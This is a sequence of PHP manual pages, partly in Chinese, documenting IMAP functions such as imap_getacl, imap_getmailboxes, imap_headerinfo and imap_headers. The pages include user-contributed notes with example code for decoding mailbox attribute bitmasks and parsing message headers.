echo "MESSAGE limit level is: " . $message['limit'];

/* ... */

}

imap_close($mbox);
?>

注释

This function is currently only available to users of the c-client2000 or greater library.

The imap should be opened as the user whose mailbox you wish to check.

参见

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_set_quota() - Sets a quota for a given mailbox
  • imap_get_quota() - Retrieve the quota level settings, and usage statics per mailbox

User Contributed Notes

uphonesimon at gmail dot com 21-Sep-2005 04:37
just to make a note for all the people that are wondering the differences between $quota['STORAGE'] and $quot['MESSAGE']
the $quot['STORAGE'] is the size of the mailbox in KB
but $quota['MESSAGE'] is actually the number of messages stored in the mailbox and the up limit of the total messages allowed
rodrigo dot tsuru at tsuru dot net 15-Sep-2004 11:07
The example above isn't right. Replace with this:

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>
thomas dot hebinck at digionline dot de 30-Aug-2003 07:55
['STORAGE']['usage'] and ['STORAGE']['limit'] are values in KB (1024 Bytes)


Gets the ACL for a given mailbox

  • ? imap_get_quotaroot
  • imap_getmailboxes ?
  • PHP Manual
  • IMAP 函数
  • Gets the ACL for a given mailbox

imap_getacl

(PHP 5, PHP 7, PHP 8)

imap_getacl — Gets the ACL for a given mailbox

说明

imap_getacl(IMAP\Connection $imap, string $mailbox): array|false

Gets the ACL for a given mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

返回值

Returns an associative array of "folder" => "acl" pairs, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_getacl() example

<?php

print_r(imap_getacl($imap, 'user.joecool'));

?>

以上示例的输出类似于：

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)

注释

This function is currently only available to users of the c-client2000 or greater library.

参见

  • imap_setacl() - Sets the ACL for a given mailbox

User Contributed Notes

hartmut dot woehrle at hwds dot ch 07-Mar-2016 02:13
Maybe the functionality changed over the years but the examples are wrong.
It does NOT return [subfolder] => ACL

At the moment (PHP5) the usage and answer of imap_getacl is the following:
You ask for the folder and get the ACLs for exactly this folder (no Wildcards)

Example:
When you have the folder Business in your mailbox

print_r(imap_getacl($connection , "user/john.doe/Business"));

returns the following:

Array
(
    [john.doe@example.com] => lrswipkxtecda
    [cyrus@example.com] => lrswipkxtecd
    [secretary@example.com] => lrsp
    [department@example.com] => lrs
)

Which means you have to loop over your directories (imap_list) and list the ACL for ever folder seperately.
info at obengelb dot de 13-Sep-2006 04:58
stream_id is the stream returned from imap_open

mailbox is a mailbox name (without server name)

Example:
print_r(imap_getacl ($strea_id, 'user.joecool'));

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)


Read the list of mailboxes, returning detailed information on each one

  • ? imap_getacl
  • imap_getsubscribed ?
  • PHP Manual
  • IMAP 函数
  • Read the list of mailboxes, returning detailed information on each one

imap_getmailboxes

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one

说明

imap_getmailboxes(IMAP\Connection $imap, string $reference, string $pattern): array|false

Gets information on the mailboxes.

参数

imap

IMAP\Connection 实例。

reference

reference should normally be just the server specification as described in imap_open()

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

pattern

指定在邮箱层级的何处开始查找。

在组成 pattern 的字符中可使用两个特殊字符： '*' 和 '%'。 '*' 是指返回所有邮箱目录. 如果将 '*' 作为 pattern 参数时, 则会返回整个邮箱层级结构。 '%' 是指只返回当前级次。 '%' 作为 pattern 参数则只会返回顶层邮箱； '~/mail/%' 用于 UW_IMAPD 则会返回名为 ~/mail 的目录, 但不包含其子目录。

返回值

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox not contains, and may not contain any "children" (there are no mailboxes below this one). Calling imap_createmailbox() will not work on this mailbox.

  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.

  • LATT_MARKED - This mailbox is marked. This means that it may contain new messages since the last time it was checked. Not provided by all IMAP servers.

  • LATT_UNMARKED - This mailbox is not marked, does not contain new messages. If either MARKED or UNMARKED is provided, you can assume the IMAP server supports this feature for this mailbox.

  • LATT_REFERRAL - This container has a referral to a remote mailbox.

  • LATT_HASCHILDREN - This mailbox has selectable inferiors.

  • LATT_HASNOCHILDREN - This mailbox has no selectable inferiors.

The function returns false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_getmailboxes() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$list = imap_getmailboxes($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
foreach ($list as $key => $val) {
echo "($key) ";
echo imap_utf7_decode($val->name) . ",";
echo "'" . $val->delimiter . "',";
echo $val->attributes . "<br />\n";
}
} else {
echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

参见

  • imap_getsubscribed() - List all the subscribed mailboxes

User Contributed Notes

james dot mattingly at gmail dot com 18-Jul-2011 12:19
For the purposes of passing along the attributes as a json array, I wanted to pass the attributes as an indexed array to save on bandwidth and session storage.  The human readable translation is then performed in javascript by relating each key to the proper attribute label.  I also wanted a cleaner way of converting the attributes without calling another function or using a complex iteration. This puts each binary attribute into it's own array element for easy testing.

<?php
$mailboxes = imap_getmailboxes($mailbox, $username, $password);

foreach($mailboxes as $key=>$mailbox){
   ...
   $attrs =  preg_split('//',str_pad(decbin($mailbox->attributes),7,"0",STR_PAD_LEFT),8);  // convert decimal to an array of attributes
   array_shift($attrs); // Remove the extra element at the front of the array in position 0
   ...
}
?>

With temporary variables, the conversion would look like this.

<?php
$attr_binary = decbin($mailbox->attributes);  // convert decimal to binary
$attr_binary = str_pad($attr_binary,7,"0",STR_PAD_LEFT);  // pad with 0's on the left
$attrs = $preg_split('//',$attr_binary,8);  // split into an array after each character
array_shift($attrs);  // Remove the extra element at the front of the array in position 0
?>

By defining the attributes as a map to the array index, you can test as follows.

<?php
define("ATTR_NOINFERIORS",6);
define("ATTR_NOSELECT "5);
define("ATTR_MARKED ",4);
define("ATTR_UNMARKED ",3);
define("ATTR_REFERRAL ",2);
define("ATTR_HASCHILDREN ",1);
define("ATTR_HASNOCHILDREN ",0);

if ($attrs[ATTR_HASCHILDREN]){
 // do something
}
?>
Mohamed Abbas mabbas_xyz at yahoo dot com 18-Nov-2006 08:51
i am currently develop a simple IMAP client, when i call imap_getmailboxes() i receive a different values in attributes property of the mailbox object the problem is how can i manipulate these attributes to get a meaningful value,
if you make a hard search to find a solution for this, you will
not find any useful documents for this problem, let us take a closer look for this problem.

when i call imap_getmailboxes() against different IMAP servers i got these attribute values

[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

the documentation tell us that we check this attributes against four constants, these contents are

LATT_NOINFERIORS
LATT_NOSELECT
LATT_MARKED
LATT_UNMARKED

the value of these constants are

LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8

you can got this result by echo each constant, unfortunately the documentation not explain how we can check the attributes against the constants, after a long time of searching i find the answer in source code of c-client
(you can get the source from ftp://ftp.cac.washington.edu/imap/)
under \src\c-client you will find mail.h open it and you will find this

                               /* terminal node in hierarchy */
#define LATT_NOINFERIORS (long) 0x1
                /* name can not be selected */
#define LATT_NOSELECT (long) 0x2
                /* changed since last accessed */
#define LATT_MARKED (long) 0x4
                /* accessed since last changed */
#define LATT_UNMARKED (long) 0x8
                /* name has referral to remote mailbox */
#define LATT_REFERRAL (long) 0x10
                /* has selectable inferiors */
#define LATT_HASCHILDREN (long) 0x20
                /* has no selectable inferiors */
#define LATT_HASNOCHILDREN (long) 0x40

as you notice here these are our four constants and three additional constants

LATT_REFERRAL
LATT_HASCHILDREN
LATT_HASNOCHILDREN

then what is the value of these 3 attributes
LATT_REFERRAL 0x10 = 00010000 in binary, the bitmask value is 2^4 = 16 and so on, or simply echo this constant to get the value, then

LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

finally the full list of constants will be
LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8
LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

ok let's back to our attributes
[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

[attributes] => 9 this mean it's LATT_UNMARKED and LATT_NOINFERIORS 1+8 =9

[attributes] => 1 this mean LATT_NOINFERIORS

[attributes] => 64 this mean LATT_HASNOCHILDREN

[attributes] => 32 this mean LATT_HASCHILDREN

[attributes] => 40 this mean LATT_HASCHILDREN and LATT_UNMARKED 32+8=40

this just like linux file permission 7 mean read, write, and execute 4+2+1 read=4 write=2 execute=1

that is what i found, i hope this can help

Mohamed Abbas
Nileweb Egypt
emielbom at hotmail dot com 04-Feb-2006 07:09
i was looking for a function to test the attributes.
and it was hard to find an answer or code.

Maybe there is a function availeble, but i couldn't find it.

the first function: returns all mailboxes in on the server

The second function: returns a bitstring from the attr_number returned by getmailboxes()

The tirth function: returns an array with the active attributes on the specific mailbox

Last Line: is a combination of the functions: the output is, any map witch can hold no mail but only sub boxes...

<?php
function getFolders($mailbox, $serverString) {

    $list = imap_getmailboxes($mailbox, $serverString, "*");
    if (is_array($list)) {
        foreach ($list as $key => $val) {
           $mapname = str_replace($serverString, "", imap_utf7_decode($val->name));
           if ($mapname[0] != ".") {
               $list_folders[$key]['name'] = $mapname;
               $list_folders[$key]['delimiter'] = $val->delimiter;
               $list_folders[$key]['attributes'] = $val->attributes;
           }

        }
    } else {
        echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
    }

    return $list_folders;
}

function IntToBin($number) {
    $BitWaarde = 1;
    $IntNum = $number;
    $BinString = "";

    if ($IntNum > 0) {

        // bepaal de max bitwaarde aan de hand van $IntNum
        while ($IntNum > $BitWaarde) {
            $BitWaarde = $BitWaarde * 2;
        }

        // maken van een binaire string.
        while ($BitWaarde >= 1 ) {
            if ($IntNum < $BitWaarde) {
                if ($BinString != "") $BinString .= "0";
            } else {
                $BinString .= "1";
                $IntNum = $IntNum-$BitWaarde;
            }
            $BitWaarde = $BitWaarde / 2;
        }

    }

    return $BinString;
}

function Attributes($BinString) {

    $BinInt = (int)$BinString;
    if ($BinInt >=1000){
        $setAttribute['LATT_UNMARKED'] = true;
        $BinInt = $BinInt-1000;
    } else $setAttribute['LATT_UNMARKED'] = false;

    if ($BinInt >=100){
        $setAttribute['LATT_MARKED'] = true;
        $BinInt = $BinInt-100;
    } else $setAttribute['LATT_MARKED'] = false;

    if ($BinInt >=10){
        $setAttribute['LATT_NOSELECT'] = true;
        $BinInt = $BinInt-10;
    } else $setAttribute['LATT_NOSELECT'] = false;

    if ($BinInt >=1){
        $setAttribute['LATT_NOINFERIORS'] = true;
        $BinInt = $BinInt-1;
    } else $setAttribute['LATT_NOINFERIORS'] = false;

    return $setAttribute;
}

foreach (getFolders($mailbox, $config['Server_string']) as $key => $val) {
                        $Attr = Attributes(IntToBin((int)$val['attributes']));
                        if (!$Attr['LATT_NOINFERIORS']) {
                            echo "<option value='".$val['name']."'>".$val['name']."</option>";
                        }
                    }
?>
ad-rotator.com 04-May-2004 01:17
In case you print_r() or var_dump() the object and see an int for attribute, these are the constant integers for the bitmask.

1 LATT_NOINFERIORS
2 LATT_NOSELECT
4 LATT_MARKED
8 LATT_UNMARKED
foom at fuhm dot NO_supercalifragilisticexpialidocious_SPAM dot net 27-Aug-2001 05:42
The list of mailbox attributes in this document is very misleading. In particular the explanation of noinferiors is just wrong. It does not mean that the mailbox currently has no children, it means that it *cannot* have children ever. Also, it is untrue that marked and unmarked are only used by UW-IMAP. They are in the official IMAP specification and are used by at least Courier-imap as well.

One thing to watch out for, however, is broken IMAP servers which do send \Noinferiors when they mean that there are currently no children.

From the IMAP4rev1 specs (RFC 2060):
      \Noinferiors

         It is not possible for any child levels of hierarchy to exist
         under this name; no child levels exist now and none can be
         created in the future.

      \Noselect

         It is not possible to use this name as a selectable mailbox.

      \Marked

         The mailbox has been marked "interesting" by the server; the
         mailbox probably contains messages that have been added since
         the last time the mailbox was selected.

      \Unmarked

         The mailbox does not contain any additional messages since the
         last time the mailbox was selected.


List all the subscribed mailboxes

  • ? imap_getmailboxes
  • imap_header ?
  • PHP Manual
  • IMAP 函数
  • List all the subscribed mailboxes

imap_getsubscribed

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_getsubscribed — List all the subscribed mailboxes

说明

imap_getsubscribed(IMAP\Connection $imap, string $reference, string $pattern): array|false

Gets information about the subscribed mailboxes.

Identical to imap_getmailboxes(), except that it only returns mailboxes that the user is subscribed to.

参数

imap

IMAP\Connection 实例。

reference

reference should normally be just the server specification as described in imap_open()

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

pattern

指定在邮箱层级的何处开始查找。

在组成 pattern 的字符中可使用两个特殊字符： '*' 和 '%'。 '*' 是指返回所有邮箱目录. 如果将 '*' 作为 pattern 参数时, 则会返回整个邮箱层级结构。 '%' 是指只返回当前级次。 '%' 作为 pattern 参数则只会返回顶层邮箱； '~/mail/%' 用于 UW_IMAPD 则会返回名为 ~/mail 的目录, 但不包含其子目录。

返回值

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox has no "children" (there are no mailboxes below this one).
  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.
  • LATT_MARKED - This mailbox is marked. Only used by UW-IMAPD.
  • LATT_UNMARKED - This mailbox is not marked. Only used by UW-IMAPD.
  • LATT_REFERRAL - This container has a referral to a remote mailbox.
  • LATT_HASCHILDREN - This mailbox has selectable inferiors.
  • LATT_HASNOCHILDREN - This mailbox has no selectable inferiors.
The function returns false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

User Contributed Notes

There are no user contributed notes for this page.


别名 imap_headerinfo

  • ? imap_getsubscribed
  • imap_headerinfo ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_headerinfo

imap_header

(PHP 4, PHP 5, PHP 7)

imap_header — 别名 imap_headerinfo()

Warning

该别名已在 PHP 8.0.0 中被 移除。

说明

此函数是该函数的别名： imap_headerinfo().

User Contributed Notes

There are no user contributed notes for this page.


Read the header of the message

  • ? imap_header
  • imap_headers ?
  • PHP Manual
  • IMAP 函数
  • Read the header of the message

imap_headerinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_headerinfo — Read the header of the message

说明

imap_headerinfo(
IMAP\Connection $imap,
int $message_num,
int $from_length = 0,
int $subject_length = 0
): stdClass|false

Gets information about the given message number by reading its headers.

参数

imap

IMAP\Connection 实例。

message_num

The message number

from_length

Number of characters for the fetchfrom property. Must be greater than or equal to zero.

subject_length

Number of characters for the fetchsubject property Must be greater than or equal to zero.

defaulthost

返回值

Returns false on error or, if successful, the information in an object with following properties:

  • toaddress - full to: line, up to 1024 characters
  • to - an array of objects from the To: line, with the following properties: personal, adl, mailbox, and host
  • fromaddress - full from: line, up to 1024 characters
  • from - an array of objects from the From: line, with the following properties: personal, adl, mailbox, and host
  • ccaddress - full cc: line, up to 1024 characters
  • cc - an array of objects from the Cc: line, with the following properties: personal, adl, mailbox, and host
  • bccaddress - full bcc: line, up to 1024 characters
  • bcc - an array of objects from the Bcc: line, with the following properties: personal, adl, mailbox, and host
  • reply_toaddress - full Reply-To: line, up to 1024 characters
  • reply_to - an array of objects from the Reply-To: line, with the following properties: personal, adl, mailbox, and host
  • senderaddress - full sender: line, up to 1024 characters
  • sender - an array of objects from the Sender: line, with the following properties: personal, adl, mailbox, and host
  • return_pathaddress - full Return-Path: line, up to 1024 characters
  • return_path - an array of objects from the Return-Path: line, with the following properties: personal, adl, mailbox, and host
  • remail -
  • date - The message date as found in its headers
  • Date - Same as date
  • subject - The message subject
  • Subject - Same as subject
  • in_reply_to -
  • message_id -
  • newsgroups -
  • followup_to -
  • references -
  • Recent - R if recent and seen, N if recent and not seen, ' ' if not recent.
  • Unseen - U if not seen AND not recent, ' ' if seen OR not seen and recent
  • Flagged - F if flagged, ' ' if not flagged
  • Answered - A if answered, ' ' if unanswered
  • Deleted - D if deleted, ' ' if not deleted
  • Draft - X if draft, ' ' if not draft
  • Msgno - The message number
  • MailDate -
  • Size - The message size
  • udate - mail message date in Unix time
  • fetchfrom - from line formatted to fit from_length characters
  • fetchsubject - subject line formatted to fit subject_length characters

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。
8.0.0 | The unused defaulthost parameter has been removed.

参见

  • imap_fetch_overview() - Read an overview of the information in the headers of the given message

User Contributed Notes

php at our-software dot com 13-Mar-2017 02:57
Please Note : imap_headerinfo only returns a subset of the headers, rather than the entire thing.

Among other things, this means it only shows the first recipient from the "to" section of the email, rather than all recipients.

If you're not seeing something you expected to, you'll be better off using

$hdr_raw = imap_fetchheader($mbox, $mailid);
$hdr = imap_rfc822_parse_headers($hdr_raw);

then you'll see the full set of headers, and be able to do more with it.
Murray 14-Sep-2015 11:54
An email without a subject line will not generate the 'subject' property.

Before using the 'subject' property you should test for it.
if (property_exists($header, 'subject')) echo $header->subject;
milosh 03-Aug-2014 10:14
I did some testing on using imap_headerinfo() function and I am very confused with the results.

On small mailboxes, getting data for 30 messages takes about 0.5 secs. On mailboxes with approximately 500 messages it takes about 7 secs to retrieve data for the same number of messages.

Why would the size of mailbox had anything to do with the time needed to retrieve the header of the single email message? Mailboxes are on the same account.

Next, If you measure every call to imap_headerinfo() function the result are even stranger! First and then every 22th call to the imap_headerinfo() function takes 10000 times more that the others. Example: the first call takes about 0.39 secs, then other 20 calls take about 0.0001 secs, then 22th call takes about 0.47 secs, then other 20 calls about 0.00004, and so on.

After some more research there is something else that came up.

If you use:

$message_header[$i] = imap_headerinfo($mbox, $i + 1);

it takes about 0.4 secs for every 22th call and about 0.0001 sec for other calls.

However, you would expect the same results with:

$message_header[$i] = imap_headerinfo($mbox, 30 - $i);

But, in this case it takes about 0.2 secs for every call!

The only difference here is that in the second example headers are retrieved in the reversed message order (from the 30th to the 1st) and for some reason it greatly affects the time needed for the operation. Strange, or is it just me?
andyltm 08-Jul-2010 03:17
When I was testing imap_headerinfo() with an e-mail that had multiple recipients (multiple e-mails in to to: and/or cc: field), I noticed that imap_headerinfo() was failing hard for me on PHP 5.2.10-2ubuntu6.4 with Suhosin-Patch 0.9.7 (cli).

Rather than providing me an array with each and every e-mail address listed in the to and/or cc fields, it was only providing me the first listed.  This was disappointing.

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
        )

Luckily, there was a cool workaround to this problem:

imap_rfc822_parse_headers(imap_fetchheader( string ); which subsequentally worked like a nice little pet would:

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
            [1] => stdClass Object
                (
                    [mailbox] => dutch
                    [host] => masters.com
                )
        )

TL;DR:
So in other words, instead of imap_headerinfo() use imap_rfc822_parse_headers(imap_fetchheader()).

Hope this helps anyone else that runs into this issue from now into the future.  This post was suggested by people in #PHP on FreeNode IRC.
trinkaus at ttNetz dot de 31-Jan-2010 02:32
When i try to access the same mailbox through pop3 and through imap i get different update infomations.

1. Using imap
header->udate is not the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:143/imap/novalidate-cert}INBOX}", $username, $password); // open as imap
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

1. Using pop3
header->udate is the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:110/pop3/novalidate-cert}INBOX}", $username, $password); // open as pop3
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

I do not know why this is so, but for this reason, i use strtotime($header->date) together with other values to create my own message-UID because this seems to work independent from the protocol.
jahservant 13 at gmail dot com 08-Dec-2009 03:56
I'm not entirely sure why this is, but if you loop through all of the messages in a mailbox, calling imap_header() each time, you can significantly increase performance by calling imap_headers() first.

Compare this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

With this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
  /****** adding this line: ******/
     imap_headers($imap)
  /***************************/
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

The performance difference, as I have tested on several boxes, connecting to several different servers, is that the second code snippet ALWAYS takes 1/2 the time, if not less.

Perhaps it is because imap_headers() retrieves all of the messages on one connection, whereas imap_header() has to make a new fetch request for each message??  I'm not sure WHY it is faster if imap_headers() is called first, but I do know that it is, so I thought I'd pass on the knowledge.  If anyone knows why this is, please let me know....
aeolianmeson at exoyiga dot blitzeclipse dot com 17-May-2009 10:56
I typically use UID's to identify messages, and recently discovered that the headers I had been pulling using this function and a message-number didn't match the UID's. Instead of worrying about it, I just began using imap_fetchheader() and imap_ rfc822_ parse_ headers() on its output. The only significant difference I immediately noticed was that there is no "udate" property, so I assigned one with the result of strtotime() on the 'date' property.

Dustin
php at spacefish dot biz 27-Jan-2009 10:57
I had to pass the msgid as array($msgid) instead of an integer. the error "Invalid messageID" is generated if i pass an integer.
ron at NOSPAM dot clicks2hits dot com 05-Nov-2008 05:51
Simple little code for checking gmail using headerinfo

<?php /* Created on: 11/3/2008 By Ron Hickey 6tx.net/gmail_mod
Gmail mod for admin panels or you can edit it and convert html results to XML for personal RSS reader */

// enter gmail username below e.g.--> $m_username = "yourusername";
$m_username = "";

// enter gmail password below e.g.--> $m_password = "yourpword";
$m_password = "";

// enter the number of unread messages you want to display from mailbox or
//enter 0 to display all unread messages e.g.--> $m_acs = 0;
$m_acs = 15;

// How far back in time do you want to search for unread messages - one month = 0 , two weeks = 1, one week = 2, three days = 3,
// one day = 4, six hours = 5 or one hour = 6 e.g.--> $m_t = 6;
$m_t = 2;

//----------->Nothing More to edit below
//open mailbox..........please
$m_mail = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", $m_username . "@gmail.com", $m_password)

// or throw a freakin error............you pig
or die("ERROR: " . imap_last_error());

// unix time gone by or is it bye.....its certanly not bi.......or is it? ......I dunno fooker
$m_gunixtp = array(2592000, 1209600, 604800, 259200, 86400, 21600, 3600);

// Date to start search
$m_gdmy = date('d-M-Y', time() - $m_gunixtp[$m_t]);

//search mailbox for unread messages since $m_t date
$m_search=imap_search ($m_mail, 'UNSEEN SINCE ' . $m_gdmy . '');

//If mailbox is empty......Display "No New Messages", else........ You got mail....oh joy
if($m_search < 1){
$m_empty = "No New Messages";}
else {

// Order results starting from newest message
rsort($m_search);

//if m_acs > 0 then limit results
if($m_acs > 0){
array_splice($m_search, $m_acs);
}

//loop it
foreach ($m_search as $what_ever) {

//get imap header info for obj thang
$obj_thang = imap_headerinfo($m_mail, $what_ever);

//Then spit it out below.........if you dont swallow
echo "<body bgcolor=D3D3D3><div align=center><br /><font face=Arial size=2 color=#800000>Message ID# " . $what_ever . "</font>

<table bgcolor=#D3D3D3 width=700 border=1 bordercolor=#000000 cellpadding=0 cellspacing=0>
<tr>
<td><table width=100% border=0>
<tr>
<td><table width=100% border=0>
<tr>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Date:</font> <font face=Arial size=2 color=#000000>" . date("F j, Y, g:i a", $obj_thang->udate) . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>From:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->fromaddress . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>To:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->toaddress . " </font></td>
</tr>
<tr>
</table>
</td>
</tr><tr><td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Subject:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->Subject . "</font></td></tr><tr>
</tr>
</table></td>
</tr>
</table><a href=http://gmail.com target=_blank><font face=Arial size=2 color=#800000>Login to read message</a></font><br /></div></body>";

}} echo "<div align=center><font face=Arial size=4 color=#800000><b>" . $m_empty . "</b></font></div>";
//close mailbox bi by bye
imap_close($m_mail);
?>
scott at fuzzygroup dot com 11-Nov-2002 09:13
If you want to extract values from to, from, or other header elements, they are an object and you need to loop over them i.e.

$header = imap_header($mbox, $message_id);
$from = $header->from;
foreach ($from as $id => $object) {
    $fromname = $object->personal;
    $fromaddress = $object->mailbox . "@" . $object->host;
}

Would give you two variables for the friendly from and the smtp from address

Thanks to www.natrak.net for help with this


Returns headers for all messages in a mailbox

  • ? imap_headerinfo
  • imap_is_open ?
  • PHP Manual
  • IMAP 函数
  • Returns headers for all messages in a mailbox

imap_headers

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_headers — Returns headers for all messages in a mailbox

说明

imap_headers(IMAP\Connection $imap): array|false

Returns headers for all messages in a mailbox.

参数

imap

IMAP\Connection 实例。

返回值

Returns an array of string formatted with header info. One element per mail message. Returns false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

User Contributed Notes

Anonymous 13-Apr-2021 10:29
the format returned is very fixed:

FLAGS (space) NUMBER (*) DATE (space) SENDER (space) SUBJECT (space) LENGTH

NUMBER will be a left-padded string of up to 4 digits + ")", starting with 5 digits, it is those 5 digits (without the ")")

DATE will be a left-padded string like " 2-Apr-2021" or a non-padded string like "13-Apr-2021"

SENDER is 20 chars long

SUBJECT is 25 chars long

LENGTH is a string like "(1248 chars)" , however it allows more digits and is not padded.
webmaster at RealityRipple dot com 06-May-2018 11:32
Just a helpful hint, many IMAP servers will include non-standard flags in curly braces before the subject in the response of this function. Pretty sure this is the only way to determine if a message has been forwarded, for example, when using the IMAP functions. The first flag (or more) may be prefixed with a dollar sign ($). It's (probably) likely that any such flags received by a server can be passed through imap_append to that server, as well.
antispam at katiheta dot net 31-Jul-2013 02:44
Message flag descriptions can be found on official imap_headerinfo page (http://www.php.net/manual/en/function.imap-headerinfo.php) in "Return Value" paragraph.
paulwright75 at hotmail dot com 18-Jun-2013 12:54
Ok, this page is driving me crazy. Parsing the lines returned in the array is simple enough but there is no definitions on what the flags mean. So I searched the web to find the answer and this is what I was able to gather:

A - Answered: email has been replied to
N - New: Recent and not seen
R - Recent: Recent and seen
U - Unread: The message has not been read yet
F - Flagged: Message is "flagged" for urgent/special attention
D - Deleted: Message is "deleted" for removal by later EXPUNGE
X - Draft: Message has not completed composition (marked as a draft).

please correct me if I am wrong...
mmuoio at gmail dot com 12-Oct-2009 10:39
This function will not return a full subject line if it is longer than 25 characters.  I found this out after trying to search each header and move the email to a different folder depending on what the subject was (searching for year and project number).


Check if the IMAP stream is still valid

  • ? imap_headers
  • imap_last_error ?
  • PHP Manual
  • IMAP 函数
  • Check if the IMAP stream is still valid

imap_is_open

(PHP 8 >= 8.2.1)

imap_is_open — Check if the IMAP stream is still valid

说明

imap_is_open(IMAP\Connection $imap): bool

Check if the IMAP stream is still valid.

参数

imap

IMAP\Connection 实例。

返回值

Returns true if the stream is still valid, false otherwise.

示例

Example #1 imap_is_open() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
imap_is_open($mbox);
// ...
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets the last IMAP error that occurred during this page request

  • ? imap_is_open
  • imap_list ?
  • PHP Manual
  • IMAP 函数
  • Gets the last IMAP error that occurred during this page request

imap_last_error

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_last_error — Gets the last IMAP error that occurred during this page request

说明

imap_last_error(): string|false

Gets the full text of the last IMAP error message that occurred on the current page. The error stack is untouched; calling imap_last_error() subsequently, with no intervening errors, will return the same error.

参数

此函数没有参数。

返回值

Returns the full text of the last IMAP error message that occurred on the current page. Returns false if no error messages are available.

参见

  • imap_errors() - Returns all of the IMAP errors that have occurred

User Contributed Notes

There are no user contributed notes for this page.


Read the list of mailboxes

  • ? imap_last_error
  • imap_listmailbox ?
  • PHP Manual
  • IMAP 函数
  • Read the list of mailboxes

imap_list

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_list — Read the list of mailboxes

说明

imap_list(IMAP\Connection $imap, string $reference, string $pattern): array|false

Read the list of mailboxes.

参数

imap

IMAP\Connection 实例。

reference

